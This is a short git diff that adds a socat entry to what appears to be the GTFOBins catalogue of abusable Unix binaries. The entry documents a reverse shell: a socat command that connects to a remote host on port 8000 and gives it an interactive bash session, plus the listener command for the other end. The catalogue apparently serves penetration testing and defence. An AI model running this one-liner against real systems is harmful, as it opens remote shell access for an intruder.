diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md new file mode 100644 index 0000000..60093da --- /dev/null +++ b/_gtfobins/socat.md @@ -0,0 +1,9 @@ +--- +functions: + reverse-shell: + - description: Run socat file:`tty`,raw,echo=0 tcp-listen:8000 to receive the shell on the other end. + code: | + RHOST=10.0.0.1 + RPORT=8000 + socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane +--- \ No newline at end of file